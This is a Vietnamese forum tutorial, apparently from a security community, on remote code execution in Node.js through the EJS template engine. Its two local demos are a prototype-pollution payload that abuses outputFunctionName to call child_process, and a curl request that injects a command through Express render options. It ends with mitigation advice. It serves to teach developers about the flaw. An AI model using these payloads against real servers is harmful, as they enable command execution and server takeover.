-
27/04/2017
-
30
-
76 bài viết
Khai thác lỗ hổng Remote Code Execution (RCE) trong Nodejs (Phần 1)
Tóm tắt:
Thời điểm hiện tại, Nodejs càng ngày càng thịnh hành ở Việt Nam. Hiện tại, các developer và hầu hết các web app đều sử dụng ngôn ngữ này, vì sự tiện lợi của nó là có thể dùng cho cả backend và front end.
Ngoài ra, trong quá trình pentest thì mình cũng nhận thấy đa số các web app đều gặp rất nhiều lỗ hổng. Đặc biệt, lổ hổng giúp cho attacker có thể chiếm được máy ảo. Vì thế nên mình gửi tới các bạn bài viết về lổ hổng này trên node và cách phòng chống.
Khi nào lổ hổng RCE xảy ra?
RCE xảy ra khi web/app thực thi không đáng tin cậy ở dạng mã code. Khi x là một chuỗi, eval (x), Function (x) và vm.runIn * Context (x). Tất cả các hàm gọi x trên ngữ cảnh của javascript engine. Nếu kẻ tấn công kiểm soát x thì chúng có thể chạy mã tùy ý trong ngữ cảnh của module CommonJS hoặc ngữ cảnh vm đã gọi trình phân tích cú pháp, hoặc nó có thể đến từ những lổ hổng bảo mật liên quan.
Hiện tại, nếu các bạn tìm kiếm với từ khóa RCE nodejs thì nó sẽ xuất hiện các bài viết với các hàm phổ biến dẫn đến lổ hỗng như eval(), deserialize object mà không hề nhắc gì đến các hàm khác. Với mục đích, tạo ra nhận thức cho các nodejs developers nên ở bài viết này, mình sẽ demo 2 ví dụ:
Để phục vụ cho việc demo, mình đã sử dụng code demo dưới đây như là PoC.
https://github.com/thongtrungtran/ssti-ejs
Môi trường cần cài đặt:
Sau khi build xong, server sẽ báo chạy trên cổng 8082
Từ trong code của lib ejs
Chúng ta có thể thông qua function outputFunctionName để có thể khai thác được thông qua Prototype pollution.
Bạn có thể tìm hiểu prototype pollution ở đây.
Sau đó thì build payload của mình bằng cách dùng child_process của nodejs, chức năng này là mặc định trong nodejs. Nếu như bạn là người mới và không hiểu xây dựng payload cho mình thì bạn có thể tham khảo thêm ở đây.
Payload:
Sau đó cho payload vào trong body data và run với curl như trong file. Ex.sh. chúng ta sẽ có kết quả là in ra tên user của máy chủ.
Hoặc dùng commented payload để chiếm quyền điều khiển của máy chủ.
Ngoài ra, thì các bạn có thể chạy trực tiếp file ex.sh để khai thác bằng cách:
DEMO2: Các tùy chọn cấu hình template engine được chuyển qua Express render API
Express JS cho phép các nhà phát triển sử dụng nhiều công cụ kết xuất mẫu, các công cụ này thay thế những thứ bên trong mẫu bằng cách kiểm tra một đối tượng mà ứng dụng đã cung cấp.
Ví dụ: đoạn mã sau hiển thị một mẫu có tên "chỉ mục" và chuyển một đối tượng có hai yếu tố, tiêu đề và thông báo.
Các template engine cần một cách để đặt các thông số cấu hình của chúng, chẳng hạn như đường dẫn đến thư mục mẫu, tên của template và các tham số dành riêng cho công cụ khác. Để thực hiện điều này, nhiều template engine đã chọn nhận các tùy chọn cấu hình của họ trực tiếp thông qua API render Express.
Việc chuyển các thông số cấu hình template engine thông qua Express render API có thể dẫn đến lỗ hổng nếu đối tượng bị người dùng kiểm soát. Các ứng dụng xuôi dòng thường chọn chuyển trực tiếp dữ liệu mẫu của chúng vào thông qua đối tượng req.query do người dùng điều khiển từ xa. Điều này dẫn đến tình huống mà remote attacker có thể tấn công ứng dụng thông qua các tùy chọn cấu hình template engine độc hại.
Dưới đây là đoạn code mẫu demo bug.
Attacker có thể tạo được file thông qua lỗ hổng với tên file là newbie.txt
Giảm thiểu và cách phòng chống
Happy hacking!!!
Thời điểm hiện tại, Nodejs càng ngày càng thịnh hành ở Việt Nam. Hiện tại, các developer và hầu hết các web app đều sử dụng ngôn ngữ này, vì sự tiện lợi của nó là có thể dùng cho cả backend và front end.
Khi nào lổ hổng RCE xảy ra?
RCE xảy ra khi web/app thực thi không đáng tin cậy ở dạng mã code. Khi x là một chuỗi, eval (x), Function (x) và vm.runIn * Context (x). Tất cả các hàm gọi x trên ngữ cảnh của javascript engine. Nếu kẻ tấn công kiểm soát x thì chúng có thể chạy mã tùy ý trong ngữ cảnh của module CommonJS hoặc ngữ cảnh vm đã gọi trình phân tích cú pháp, hoặc nó có thể đến từ những lổ hổng bảo mật liên quan.
Hiện tại, nếu các bạn tìm kiếm với từ khóa RCE nodejs thì nó sẽ xuất hiện các bài viết với các hàm phổ biến dẫn đến lổ hỗng như eval(), deserialize object mà không hề nhắc gì đến các hàm khác. Với mục đích, tạo ra nhận thức cho các nodejs developers nên ở bài viết này, mình sẽ demo 2 ví dụ:
- Thay đổi hàm outputFunctionName dẫn đến RCE
- Các tùy chọn cấu hình template engine được chuyển qua Express render API
Để phục vụ cho việc demo, mình đã sử dụng code demo dưới đây như là PoC.
https://github.com/thongtrungtran/ssti-ejs
Môi trường cần cài đặt:
- Node (bất kì version nào)
- Docker
- Git
- Đầu tiên dùng git để clone source code về trên máy.
Mã:
git clone github_URL
- Build docker image từ dockerfile
Mã:
dd ssti-ejs | docker build –t demo-app .
- Sau do run docker file
Mã:
docker run demo-app
Sau khi build xong, server sẽ báo chạy trên cổng 8082
Từ trong code của lib ejs
Chúng ta có thể thông qua function outputFunctionName để có thể khai thác được thông qua Prototype pollution.
Bạn có thể tìm hiểu prototype pollution ở đây.
Sau đó thì build payload của mình bằng cách dùng child_process của nodejs, chức năng này là mặc định trong nodejs. Nếu như bạn là người mới và không hiểu xây dựng payload cho mình thì bạn có thể tham khảo thêm ở đây.
Payload:
Mã:
{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"whoami\"); //"}}}
Sau đó cho payload vào trong body data và run với curl như trong file. Ex.sh. chúng ta sẽ có kết quả là in ra tên user của máy chủ.
Hoặc dùng commented payload để chiếm quyền điều khiển của máy chủ.
Ngoài ra, thì các bạn có thể chạy trực tiếp file ex.sh để khai thác bằng cách:
Mã:
chmod +x ex.sh | ./ex.sh
DEMO2: Các tùy chọn cấu hình template engine được chuyển qua Express render API
Express JS cho phép các nhà phát triển sử dụng nhiều công cụ kết xuất mẫu, các công cụ này thay thế những thứ bên trong mẫu bằng cách kiểm tra một đối tượng mà ứng dụng đã cung cấp.
Ví dụ: đoạn mã sau hiển thị một mẫu có tên "chỉ mục" và chuyển một đối tượng có hai yếu tố, tiêu đề và thông báo.
Mã:
app.get('/', function (req, res) { res.render('index', { title: 'Hi All', message: 'Hello I am newbie' })})
Các template engine cần một cách để đặt các thông số cấu hình của chúng, chẳng hạn như đường dẫn đến thư mục mẫu, tên của template và các tham số dành riêng cho công cụ khác. Để thực hiện điều này, nhiều template engine đã chọn nhận các tùy chọn cấu hình của họ trực tiếp thông qua API render Express.
Việc chuyển các thông số cấu hình template engine thông qua Express render API có thể dẫn đến lỗ hổng nếu đối tượng bị người dùng kiểm soát. Các ứng dụng xuôi dòng thường chọn chuyển trực tiếp dữ liệu mẫu của chúng vào thông qua đối tượng req.query do người dùng điều khiển từ xa. Điều này dẫn đến tình huống mà remote attacker có thể tấn công ứng dụng thông qua các tùy chọn cấu hình template engine độc hại.
Dưới đây là đoạn code mẫu demo bug.
Mã:
const express = require('express')
const app = express()
const port = 3000
app.set('views', __dirname);
app.set('view engine','ejs');
app.use(express.urlencoded({ extended: false}));
app.get('/', (req, res) => {
res.render('index', req.query)
})
app.listen(port, () => { })
module.exports = app;
Attacker có thể tạo được file thông qua lỗ hổng với tên file là newbie.txt
Mã:
curl 'http://localhost:3000/?message=foo&settings\[view%20options\]\[outputFunctionName\]=x%3Bprocess.mainModule.require(%27child_process%27).exec(%27bash%20-c%20%22touch%20%2Ftmp%2newbie.txt%22%27)%3Bx'
Giảm thiểu và cách phòng chống
- Không tin cậy bất kỳ thông tin từ người dùng nhập vào, mọi dữ liệu được nhập vào từ người dùng phải được validate kỹ lưỡng trước khi render. Validation nên được thực hiện ở front-end và backend.
- Chạy chương trình của bạn trong container ví dụ như docker và tốt nhất là nên chạy docker dưới dạng non-root. Trường hợp này nếu như lổ hổng xảy ra thì tác hại sẽ được giảm thiểu nhất có thể.
Happy hacking!!!
Chỉnh sửa lần cuối bởi người điều hành: